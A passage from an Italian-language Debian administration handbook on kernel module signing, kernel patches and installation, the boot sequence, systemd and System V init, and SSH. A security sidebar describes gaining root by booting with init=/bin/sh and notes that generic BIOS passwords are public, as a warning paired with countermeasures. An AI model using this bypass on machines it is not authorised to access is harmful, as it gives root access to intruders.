Per prima cosa si deve creare una chiave privata /root/dkms.key e un certificato corrispondente /root/dkms.der usando openssl e registrarlo con il comando mokutil --import /root/dkms.der (per i dettagli si legga /usr/share/doc/dkms/README.md.gz). È necessario un riavvio e l'importazione attiva del certificato usando l'interfaccia EFI MOK Manager. Dopo aver completato, bisogna togliere il commento alla riga sign_tool del file /etc/dkms/framework.conf. I moduli precedentemente compilati devono essere ricompilati per essere firmati con il certificato appena creato e registrato. I nuovi moduli verranno firmati in automatico.

$ sudo apt install dahdi-dkms [...] Setting up dkms (2.8.4-3) ... Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ... /etc/kernel/header_postinst.d/dkms: dkms: running auto installation service for kernel 5.10.0-8-amd64:. Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ... Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files... Building for 5.10.0-8-amd64 Building initial module for 5.10.0-8-amd64 Done. dahdi_dummy.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ dahdi_dynamic_eth.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ [...] DKMS: install completed. $ sudo dkms status dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed $ sudo modinfo dahdi_dummy filename: /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko license: GPL v2 author: Robert Pleh <robert.pleh@hermes.si> description: Timing-Only Driver depends: dahdi retpoline: Y name: dahdi_dummy vermagic: 5.10.0-8-amd64 SMP mod_unload modversions parm: debug:int

ALTERNATIVA module-assistant

Prima di DKMS, module-assistant è stata la soluzione più semplice per creare e distribuire i moduli del kernel. Può essere ancora utilizzata, in particolare per i pacchetti privi di integrazione KDMS: con un semplice comando come module-assistant auto-install dadhi (o, in breve, m-a a-i dahdi), i moduli sono compilati per il kernel corrente e messi in un nuovo pacchetto Debian che viene installato al volo.

8.10.6. Applicare una patch al kernel

Alcune funzionalità non sono incluse nel kernel standard perché non mature o per un mancato accordo tra il manutentore del codice sorgente ed i manutentori del kernel. Alcune funzionalità possono essere distribuite come patch che chiunque può applicare liberamente ai sorgenti del kernel.

Debian, talvolta, fornisce alcune di queste patch nei pacchetti linux-patch-*, ma spesso non vengono inserite nei rilasci stabili (a volte per gli stessi motivi per cui non vengono fuse nel kernel ufficiale upstream). Questi pacchetti installano i file nella directory /usr/src/kernel-patches/.

Per applicare una o più di queste patch, usare il comando patch nella directory dei sorgenti e avviare la compilazione del kernel come descritto sopra. Di seguito viene mostrato un vecchio esempio che utilizza linux-patch-grsecurity2 e linux-source-4.9.

$ cd ~/kernel/linux-source-4.9 $ make clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Notare che una patch potrebbe non funzionare con ogni versione del kernel: è possibile che patch fallisca quando la applica ai sorgenti del kernel. Un messaggio d'errore sarà visualizzato e fornirà alcuni dettagli a proposito del fallimento. In questo caso, si deve far riferimento alla documentazione disponibile nel pacchetto Debian della patch (nella directory /usr/share/doc/linux-patch-*/). In molti casi il manutentore indica per quali versioni del kernel è stata realizzata la patch.

8.11. Installare un kernel

8.11.1. Funzionalità di pacchetto kernel Debian

Un pacchetto del kernel di Debian installa l'immagine del kernel (vmlinuz-versione), la sua configurazione (config-versione) e la sua tabella dei simboli (System.map-versione) in /boot/. I moduli sono installati nella directory /lib/modules/versione/.

CULTURA La tabella dei simboli

La tabella dei simboli aiuta gli sviluppatori a capire il significato di un messaggio di errore del kernel; senza di essa, gli "oops" del kernel (un "oops" è un errore, una deviazione dal comportamento corretto del kernel) forniscono solo indirizzi di memoria numerici, che sono informazioni inutili senza la tabella che mappa questi indirizzi in simboli e nomi di funzioni.

Gli script di configurazione del pacchetto generano automaticamente un'immagine initramfs (il successore della vecchia immagine initial ramdisk initrd ), che è un mini sistema compresso progettato per essere caricato in memoria (da qui il nome, che sta per "initial ram filesystem") dal bootloader e utilizzato dal kernel Linux solo per caricare i moduli necessari ad accedere ai dispositivi che contengono il sistema Debian completo (ad esempio, il driver per i dischi SATA). Infine, gli script post-installazione aggiornano i collegamenti simbolici /vmlinuz, /vmlinuz.old, /initrd.img e /initrd.img.old in modo che puntino rispettivamente agli ultimi due kernel installati e alle corrispondenti immagini di avvio initramfs.

La maggior parte di questi task sono scaricati per agganciare script nelle directory /etc/kernel/*.d/. Per esempio, l'integrazione con grub si basa su /etc/kernel/postinst.d/zz-update-grub e /etc/kernel/postrm.d/zz-update-grubper chiamare update-grub quando i kernel sono installati o rimossi.

8.11.2. Installare con dpkg

Usare apt è così comodo che ci si dimentica facilmente degli strumenti di basso livello, ma la via più facile per installare un kernel compilato è usare un comando come dpkg -i pacchetto.deb dove pacchetto.deb è il nome di un pacchetto linux-image come linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

I passi di configurazione descritti in questo capitolo sono base ma funzionano sia per un sistema server sia per una postazione di lavoro e possono essere duplicati massivamente con modalità semi-automatiche. Tuttavia non sono sufficienti per fornire da soli un sistema completamente configurato. Alcune parti necessitano ancora di configurazione, cominciando con i programmi di basso livello conosciuti come "servizi Unix".

Capitolo 9. Servizi Unix

Questo capitolo comprende una serie di servizi di base che sono comuni a molti sistemi Unix. Tutti gli amministratori dovrebbero conoscerli bene.

9.1. Avvio del sistema

Quando si avvia il computer, i molti messaggi che scorrono sulla console visualizzano molte inizializzazioni e configurazioni automatiche che vengono eseguite. Può capitare di voler modificare un po' come funziona questa fase, il che significa che è necessario conoscerla bene. Questo è lo scopo di questa sezione.

Su sistemi con un BIOS, all'inizio, esso prende il controllo del computer, inizializza i controller e l'hardware ed identifica i dischi ed i bridge, tutto questo contemporaneamente. Successivamente cerca il Master Boot Record (MBR) del primo disco nell'ordine di avvio e carica il codice ivi contenuto (primo stadio). Questo codice esegue poi il secondo stadio ed infine esegue il bootloader.

A differenza del BIOS, UEFI è più sofisticato, conosce i filesystem e può leggere la tabella delle partizioni. L'interfaccia cerca nel sistema di archiviazione una partizione etichettata con un particolare Globally Unique Identifier (identificatore univoco globale - GUID), che la contrassegna come EFI System Partition (ESP), dove si trovano i bootloader, boot manager, shell UEFI, ecc., ed esegue il bootloader desiderato. Se è abilitato il Secure Boot, il processo di boot verificherà l'autenticità dei binari EFI qui contenuti tramite la firma (in questo caso è necessario grub-efi-arch-signed). La specifica UEFI definisce e supporta anche l'avvio nella vecchia modalità BIOS. Quest'ultima è chiamata Compatibility Support Module (CSM). Se CSM è abilitato, cercherà di effettuare l'avvio dall'MBR dell'unità. Purtroppo molti dei nuovi sistemi non supportano più tale modalità.

In entrambi i casi il bootloader presente subentra, trova la catena di bootloader o il kernel sul disco, lo carica e lo esegue. Il kernel è quindi inizializzato, e comincia a cercare e montare la partizione contenente il filesystem root, infine esegue il primo programma — init. Spesso, questa "partizione root" e questo init sono, di fatto, presenti in un filesystem virtuale che esiste solo nella RAM (da qui il suo nome, "initramfs", precedentemente chiamato "initrd" che sta per "disco RAM di inizializzazione"). Questo filesystem è caricato in memoria dal bootloader, spesso da un file su disco rigido o dalla rete. Contiene il minimo indispensabile richiesto dal kernel per caricare il "vero" filesystem root: possono essere moduli driver per l'hard disk, o altri dispositivi senza i quali il sistema non si avvia, o, più frequentemente, gli script di inizializzazione ed i moduli per il montaggio degli array RAID, l'apertura di partizioni cifrate, l'attivazione di volumi LVM, ecc. Una volta che la partizione di root è montata, initramfs passa il controllo all'init reale, e la macchina torna al processo di avvio standard.

9.1.1. Il sistema di init systemd

Il "vero init" è attualmente fornito da systemd e questa sezione documenta questo sistema di init.

CULTURA Prima di systemd

systemd è un "sistema di init" relativamente recente, ed anche se era già disponibile, in una certa misura, in Wheezy, è diventato il predefinito solo in Debian Jessie. Le precedenti versioni facevano affidamento, per impostazione predefina, su “System V init” (nel pacchetto sysv-rc), un sistema molto più tradizionale. Descriveremo il System V init in seguito.

ALTERNATIVA Altri sistemi di avvio

Questo libro descrive il sistema di avvio usato in modo predefinito in Debian a partire da Buster (come implementato dal pacchetto systemd), come il sistema predefinito precedente, sysvinit, che è derivato ed ereditato dai sistemi Unix System V; ma ce ne sono altri.

Il sistema upstart non è ancora perfettamente testato su Debian. È basato su eventi: gli script di init non vengono più eseguiti in un ordine sequenziale, ma in risposta a eventi come il completamento di un altro script da cui essi dipendono. Questo sistema, inizialmente sviluppato per Ubuntu, era presente in Debian Jessie, ma non era il predefinito; veniva fornito, di fatto, in sostituzione di sysvinit, e uno dei compiti avviati da upstart era quello di avviare gli script scritti per i sistemi tradizionali, in particolare quelli del pacchetto sysv-rc.

openrc è un gestore dei servizi basato sulle dipendenze. Originariamente è stato scritto per il progetto Gentoo ma mira ad essere indipendente dalla piattaforma. Mantiene la compatibilità con il sistema di avvio System V fornendo supporto per l'avvio, la modifica dei runlevels, l'avvio e la terminazione dei servizi (in parallelo) e lo spegnimento del sistema.

Esistono anche altri sistemi e modalità operative, come file-rc, runit o minit, ma alcuni di questi sono relativamente specializzati e non molto diffusi.

Figura 9.1. Sequenza di avvio di un computer Linux con systemd

CASO SPECIFICO Avvio da rete

In alcune configurazioni, il sistema può essere configurato per non eseguire il codice dall'hardware fisico, ma per cercare il suo equivalente in rete, rendendo possibile la costruzione di computer senza un disco rigido, o che sono completamente reinstallati ad ogni avvio. Questa opzione non è disponibile su tutto l'hardware e richiede in genere una combinazione appropriata di firmware e scheda di rete.

L'avvio da rete può essere utilizzato per lanciare il debian-installer o FAI (vedere la Sezione 4.1, «Modalità di installazione» ).

FONDAMENTALE Il processo, un'istanza di programma

Un processo è la rappresentazione di un programma in esecuzione in memoria. Esso comprende tutte le informazioni necessarie per la corretta esecuzione del software (il codice stesso, ma anche i dati che ha in memoria, l'elenco di file che ha aperto, le connessioni di rete che ha stabilito, ecc.). Un programma unico può essere istanziato in vari processi diversi, non necessariamente in esecuzione con diversi ID utente.

SICUREZZA Usare una shell come init per ottenere i privilegi di root

Per convenzione, il primo processo che viene avviato è il programma init (il quale è per impostazione predefinita un link simbolico a /lib/systemd/systemd). Tuttavia, è possibile passare un'opzione a init per il kernel che indica un programma diverso.

Chiunque è in grado di accedere al computer può premere il pulsante Reset e quindi riavviare. Poi, al prompt del bootloader, è possibile passare l'opzione init=/bin/sh per il kernel per ottenere l'accesso come root senza conoscere la password dell'amministratore.

Per evitare ciò, è possibile proteggere lo stesso bootloader con una password. Si potrebbe anche pensare di proteggere l'accesso al BIOS (un meccanismo di protezione con password è quasi sempre disponibile), senza di ciò un intruso malintenzionato potrebbe ancora avviare la macchina su un supporto rimovibile contenente il proprio sistema Linux, che potrebbe utilizzare per accedere ai dati sull'hard disk del computer.

Infine, fare attenzione al fatto che la maggior parte delle implementazioni di BIOS/EFI dispongono di una password generica. Inizialmente destinate alla risoluzione di problemi per coloro che hanno dimenticato la password, queste password sono ora pubbliche e disponibili su Internet (provare a cercare "password generica per BIOS" in un motore di ricerca). Tutte queste protezioni ostacoleranno quindi l'accesso non autorizzato alla macchina senza essere in grado di evitarlo completamente. Non c'è un modo affidabile per proteggere un computer se l'attaccante può accedervi fisicamente; in ogni caso potrebbe smontare gli hard disk per connetterli a un computer sotto il proprio controllo, o addirittura rubare l'intera macchina, o cancellare la memoria del BIOS per ripristinarne la password…

Systemd esegue diversi processi, responsabili della configurazione del sistema: tastiera, drivers, filesystem, rete, servizi. Lo fa mantenendo una vsione globale del sistema nel suo complesso, ed i requisiti dei componenti. Ciascun componente è descritto da un "file unit" (a volte più); la sintassi generale deriva dalla sintassi ampiamente usata nei "file *.ini", con coppie chiave = valore raggruppate tra le intestazioni [section]. I file unit vengono memorizzati in /lib/systemd/system/ e /etc/systemd/system/; sono disponibili in vari gusti, ma qui ci si concentrerà su "service" e "target".

Un "file .service" di systemd descrive un processo gestito da systemd. Contiene più o meno le stesse informazioni degli script-init vecchio stile, ma espresse in modo dichiarativo (e molto più conciso). Systemd gestisce la maggior parte dei compiti ripetitivi (avviare e arrestare il processo, controllare il suo stato, salvare i log, togliere privilegi, e così via), ed il service file ha bisogno solo di compilare le specifiche del processo. Per esempio, questo è un service file per SSH:

[Unit] Description=OpenBSD Secure Shell server Documentation=man:sshd(8) man:sshd_config(5) After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target Alias=sshd.service

La sezione [Unit] contiene informazioni generiche relative al servizio, come le risorse per la pagina del manuale e la descrizione, ma anche relazioni (dipendenza e ordine) verso gli altri servizi. La parte [Service] contiene le dichiarazioni relative all'esecuzione del servizio (avvio, arresto, azione di kill, riavvio), directory e file di configurazione usati. L'ultima sezione, [Install], riporta ancora informazioni generiche con l'obiettivo di installare il servizio e, in questo caso, l'alias che può essere utilizzato al posto del nome del servizio. Come si può vedere, c'è veramente poco codice qui, solo dichiarazioni. Systemd si prende cura di visualizzare i rapporti di progresso, tenere traccia dei processi e anche riavviarli quando necessario. La sintassi di questi file è completamente descritta in diverse pagine del manuale (ad esempio: systemd.service(5), systemd.unit(5), systemd.exec(5), ecc.).

Un "file .target" di systemd descrive uno stato del sistema, dove un insieme di servizi sono noti per essere operativi. Può essere pensato come un equivalente del runlevel vecchio-stile. Uno dei target predefiniti è local-fs.target; quando è raggiunto, il resto del sistema può ritenere tutti i filesystem locali montati ed accessibili. Altri target includono network-online.target e sound.target (per un elenco di terget speciali vedere systemd.special(7)). Le dipendenze di un target possono essere elencate sia nel file di destinazione (alla riga Requires=), oppure usando un collegamento simbolico al file del servizio nella directory /lib/systemd/system/targetname.target.wants/. Per esempio, /etc/systemd/system/printer.target.wants/ contiene un collegamento a /lib/systemd/system/cups.service; systemd si assicurerà quindi che CUPS sia in esecuzione in modo da raggiungere il target printer.target.

Dal momento che gli unit file sono dichiararativi e non script o programmi, non possono essere eseguiti direttamente, e sono solo interpretati da systemd; diverese utility consentono quindi all'amministratore di interagire con systemd e controllare lo stato del sistema e di ogni componente.

La prima di queste utility è systemctl. Quando viene eseguita senza argomenti, elenca tutti gli unit file noti a systemd (eccetto quelli che sono stati disabilitati), coì come il loro stato. systemctl status dà una migliore visione dei servizi, nonchè dei relativi processi. Se viene passato il nome di un servizio (come in systemctl status ntp.service), restituisce ancora più dettagli, così come le ultime righe dei log relativi al servizio (ne parleremo più avanti).

L'avvio manuale del servizio è una cosa semplice eseguendo systemctl start nomedelservizio.service. Come si può intuire, l'arresto di un servizio è fatto con systemctl stop nomedelservizio.service; altri comandi includono reload e restart.

Per controllare se un servizio è attivo (es. se partirà automaticamente all'avvio), usa systemctl enable nomedelservizio.service (oppure disable). is-enabled permette il controllo dello stato del servizio.

Una caratteristica interessante di systemd è che include un componente di registrazione chiamato journald. Si presenta come un complemento a più sistemi di registrazione tradizionali come syslogd, ma aggiunge delle caratteristiche interessanti come un collegamento formale tra un servizio ed i messaggi che genera, e la capacità di cattuare i messaggi generati dalla sua sequenza di avvio. I messaggi possono essere visualizzati in seguito, con un piccolo aiuto da parte del comando journalctl. Senza argomenti, sputa fuori semplicemente tutti i messaggi di log che si sono verificati dall'avvio del sistema; raramente è usato in questo modo. La maggior parte delle volte sarà utilizzato con un identificatore del servizio:

# journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. -- Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2 Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Un'altro utile flag da riga di comando è -f, che indica a journalctl di mantenere la visualizzazione di nuovi messaggi quando sono emessi (più di quanto faccia tail -f file).

Se un servizio sembra non funzionare come previsto, la prima cosa da fare per risolvere il problema è quella di verifica se il servizio sia effettivamente in esecuzione con systemctl status; se non lo è, ed i messaggi dati dal primo comando non sono sufficienti a diagnosticare il problema, controllare i log raccolti da journald su quel servizio. Ad esempio, si supponga che il server SSH non funzioni:

# systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Main PID: 1188 (code=exited, status=255) Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. -- Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2 Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0) Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # vi /etc/ssh/sshd_config # systemctl start ssh.service # systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Main PID: 1222 (sshd) CGroup: /system.slice/ssh.service └─1222 /usr/sbin/sshd -D #

Dopo aver controllato lo stato del servizio (fallito), siamo andati a controllare i registri; indicano un errore nel file di configurazione. Dopo aver modificato il file di configurazione e sistemato l'errore, riavviamo il servizio, quindi verifichiamo che sia effettivamente in funzione.

APPROFONDIMENTO Altri tipi di file unit

Abbiamo descritto solo la più fondamentale capacità di systemd in questa sezione. Esso offre molte altre caratteristiche interessanti; qui ne elencheremo solo alcune:

attivazione socket: un'unità file "socket" può essere usata per descrivere una rete o un socket Unix gestito da systemd; questo significa che il socket viene creato da systemd, ed il servizio vero e proprio può essere avviato su richiesta quando arriva un effettivo tentativo di connessione. Questo più o meno replica il set di funzionalità di inetd. Vedere systemd.socket(5).

timer: un'unità file “timer” descrive eventi che si verificano con una frequenza fissa o in tempi specifici; quando un servizio è collegato a tale timer, il compito corrispondente verrà eseguito ogni volta che scatterà il timer. Questo permette di replicare parte delle caratteristiche del comando cron. Vedere systemd.timer(5).

rete: un'unità file di "rete" descrive un'interfaccia di rete, che permette di configurare tali interfacce oltre che indicare che un servizio dipende dal fatto che una particolare interfaccia sia attiva. Vedere systemd.network(5).

9.1.2. Il sistema di init System V

Il sistema di init di System V (che per brevità chiameremo init) esegue diversi processi, seguendo le istruzioni del file /etc/inittab. Il primo programma che viene eseguito (che corrisponde allo step sysinit ) è /etc/init.d/rcS, uno script che esegue tutti i programmi contenuti nella directory /etc/rcS.d/.

Tra questi, si trovano successivamente i programmi incaricati di:

configurare la tastiera della console;

caricare i driver: la maggior parte dei moduli del kernel vengono caricati dal kernel stesso, al rilevamento dell'hardware, altri driver aggiuntivi vengono caricati in seguito automaticamente se i moduli corrispondenti sono elencati nel file /etc/modules;

verificare l'integrità dei file system;

montare partizioni locali;

configurare la rete;

montare file system di rete (NFS).

FONDAMENTALE I moduli del kernel e le opzioni

Si è già appreso che i moduli del kernel possono essere caricati all'avvio del sistema aggiungendoli a /etc/modules oppure in un file in /etc/modules-load.d/. Inoltre, i moduli, possono anche avere delle opzioni che possono essere configurate inserendo alcuni file in /etc/modprobe.d/. Queste opzioni sono definite con direttive come: options nome-modulo nome-opzione=valore-opzione. Se necessario, è possibile specificare più opzioni con una sola direttiva.

Questi file di configurazione sono destinati a modprobe: il programma che carica un modulo del kernel con le sue dipendenze (i moduli possono infatti richiamare altri moduli). Per elencare tutte le opzioni di un modulo utilizzare il programma modinfo -p modulo fornito dal pacchetto kmod insieme ad altri strumenti per gestire i moduli.

Avendo imparato a conoscere systemd, i servizi e i target si può usare modprobe@modulo .service per caricare i moduli del kernel che dipendono da esso.

In seguito a questa fase, subentra init e avvia quei programmi attivati nel runlevel predefinito (che di solito è il runlevel 2). Viene eseguito /etc/init.d/rc 2, uno script che lancia tutti i servizi che sono elencati in /etc/rc2.d/ ed i cui nomi iniziano con la lettera "S". Il numero a due cifre che segue era storicamente utilizzato per definire l'ordine in cui i servizi dovevano essere avviati, ma al giorno d'oggi il sistema di avvio predefinito utilizza insserv, che pianifica tutto automaticamente in base alle dipendenze degli script. Ogni script di avvio dichiara in tal modo le condizioni che devono essere soddisfatte per avviare o arrestare il servizio (per esempio, se si deve avviare prima o dopo un altro servizio); init poi li esegue nell'ordine che soddisfa queste condizioni. La numerazione statica degli script quindi non è più presa in considerazione (ma devono sempre avere un nome che inizia con una "S" seguita da due cifre ed il nome effettivo dello script usato per le dipendenze). In generale, i servizi di base (come la registrazione con rsyslog, o l'assegnazione di porte con portmap) vengono avviati per primi, seguiti dai servizi standard e dall'interfaccia grafica (gdm3).

Questo sistema di avvio basato su dipendenze consente di automatizzare la rinumerazione, che potrebbe risultare piuttosto noiosa se dovesse essere effettuata manualmente, e limita i rischi di errore umano, poiché la pianificazione viene effettuata secondo i parametri indicati. Un altro vantaggio è che i servizi possono essere avviati in parallelo quando sono indipendenti l'uno dall'altro, e quindi è possibile accelerare il processo di avvio.

init distingue tra diversi runlevel, in modo da poter passare da uno all'altro con il comando telinit nuovo-livello. Immediatamente, init esegue ancora una volta /etc/init.d/rc con il nuovo runlevel. Questo script quindi avvia i servizi mancanti e ferma quelli che non sono più desiderati. Per fare ciò, fa riferimento al contenuto di /etc/rcX.d (dove X rappresenta il nuovo runlevel). Gli script che iniziano con "S" (come in "Start") sono i servizi da avviare, quelli che iniziano con "K" (come in "Kill") sono i servizi che devono essere arrestati. Lo script non avvia alcun servizio che era già attivo nel runlevel precedente.

Per impostazione predefinita, System V init in Debian utilizza quattro diversi runlevel:

Il livello 0 è utilizzato solo temporaneamente, mentre il computer si sta spegnendo. Come tale, esso contiene solo molti script "K".

Il livello 1, noto anche come modalità utente singolo, corrisponde al sistema in modalità degradata; include solo i servizi basilari, ed è destinato ad operazioni di manutenzione in cui le interazioni con gli utenti ordinari non sono desiderate.

Il livello 2 è il livello per il normale funzionamento, che include servizi di rete, un'interfaccia utente grafica, accesso utenti, ecc.

Il livello 6 è simile al livello 0, tranne che è utilizzato durante la fase di arresto che precede un riavvio.

Esistono altri livelli, in particolare da 3 a 5. In modo predefinito sono configurati per operare allo stesso modo del livello 2, ma l'amministratore può modificarli (aggiungendo o eliminando script nella corrispondente directory /etc/rcX.d) per adattarli a particolari esigenze.

Figura 9.2. Sequenza di avvio di un computer Linux con System V init

Tutti gli script contenuti nelle varie directory /etc/rcX.d sono in realtà solo collegamenti simbolici, creati dall'installazione del pacchetto per il programma update-rc.d, che puntano agli script reali che vengono memorizzati in /etc/init.d/. L'amministratore può regolare i servizi disponibili in ogni runlevel attraverso la riesecuzione del comando update-rc.d con i parametri corretti. La pagina di manuale di update-rc.d(1) descrive la sintassi in dettaglio. Notare che la rimozione di tutti i collegamenti simbolici (con il parametro remove) non è un buon metodo per disabilitare un servizio. Si dovrebbe invece semplicemente configurare quel servizio per non essere lanciato in quel particolare runlevel (pur conservando le chiamate corrispondenti a fermarlo nel caso in cui il servizio viene eseguito nel runlevel precedente). Dal momento che update-rc.d ha un'interfaccia un po' complicata, può essere preferibile usare rcconf (presente nel pacchetto rcconf) che fornisce un'interfaccia più intuitiva.

DEBIAN POLICY Riavvio dei servizi

Gli script dei manutentori dei pacchetti Debian, a volte, riavvieranno alcuni servizi per garantire la loro disponibilità o per tenere conto di alcune opzioni. Il comando che controlla un servizio, serviceservizio operazione, non tiene in considerazione i runlevel, presume (erroneamente) che il servizio sia attualmente in uso, e può quindi iniziare delle operazioni errate (avviare un servizio che è stato deliberatamente fermato, o interrompere un servizio che è già stato arrestato, ecc.). Debian ha pertanto introdotto il programma invoke-rc.d: questo programma deve essere utilizzato dagli script del manutentore per eseguire gli script di inizializzazione dei servizi ed eseguirà solo i comandi necessari. Si noti che, contrariamente all'uso comune, il suffisso .d è qui usato nel nome di un programma, e non in una directory.

Infine, init avvia i programmi di controllo per le varie console virtuali (getty). Visualizza un prompt, in attesa di un nome utente, poi esegue login utente per iniziare una sessione.

VOCABOLARIO Console e terminale

I primi computer erano generalmente divisi in diversi componenti molto grandi: il contenitore di memorizzazione e l'unità di elaborazione centrale erano separati dai dispositivi periferici utilizzati dagli operatori per controllarli. Questi facevano parte di un mobile separato, la "console". Questo termine è stato mantenuto, ma il suo significato è cambiato. È diventato più o meno sinonimo di "terminale", essendo una tastiera e uno schermo.

Con lo sviluppo dei computer, i sistemi operativi hanno offerto diverse console virtuali per consentire diverse sessioni indipendenti contemporaneamente, anche se vi è solo una tastiera e uno schermo. La maggior parte dei sistemi GNU/Linux offrono sei console virtuali (in modalità testo), accessibili digitando le combinazioni di tasti da Control+Alt+F1 a Control+Alt+F6 .

Per estensione i termini "console" e "terminale" possono anche riferirsi ad un emulatore di terminale in una sessione grafica (come xterm, gnome-terminal o konsole).

9.2. Accesso remoto

È essenziale per un amministratore essere in grado di connettersi ad un computer remoto. I server, confinati nella propria stanza, sono raramente dotati di tastiere e monitor permanenti, ma sono connessi alla rete.

FONDAMENTALE Client, server

Un sistema in cui diversi processi comunicano tra loro è spesso descritto con la metafora "clientserver". Il server è il programma che prende le richieste provenienti da un client e le esegue. Il client controlla le operazioni, il server non prende alcuna iniziativa propria.

9.2.1. Accesso remoto sicuro: SSH

Il protocollo SSH (Secure SHell) è stato progettato tenendo a mente sicurezza ed affidabilità. Le connessioni con SSH sono sicure: il partner è autenticato e tutti gli scambi di dati sono cifrati.

CULTURA Telnet e RSH sono obsoleti

Prima di SSH, Telnet e RSH erano i principali strumenti usati per fare il login da remoto. Sono ora per la maggior parte obsoleti e non dovrebbero essere usati anche se Debian li fornisce ancora.

VOCABOLARIO Autenticazione, cifratura

Quando è necessario dare ad un client la possibilità di condurre o attivare azioni su un server, la sicurezza è importante. È necessario verificare l'identità del client, questa è l'autenticazione. Questa identità di solito consiste in una password o di una passphrase (frase di accesso) che deve essere tenuta segreta, o qualsiasi altro client potrebbe ottenerla. Questo è lo scopo della cifratura, che è una forma di codifica che consente a due sistemi di comunicare informazioni riservate su un canale pubblico, proteggendole dall'essere leggibili ad altri.

L'autenticazione e la cifratura sono spesso menzionate insieme, sia perché esse sono spesso usate insieme, sia perché sono di solito implementate con simili concetti matematici.

SSH offre anche due servizi di trasferimento di file. scp è uno strumento a riga di comando che può essere utilizzato come cp, tranne che qualsiasi percorso a un altro computer è fatto precedere dal nome della macchina, seguito da due punti (":").

$ file macchina scp:/tmp/

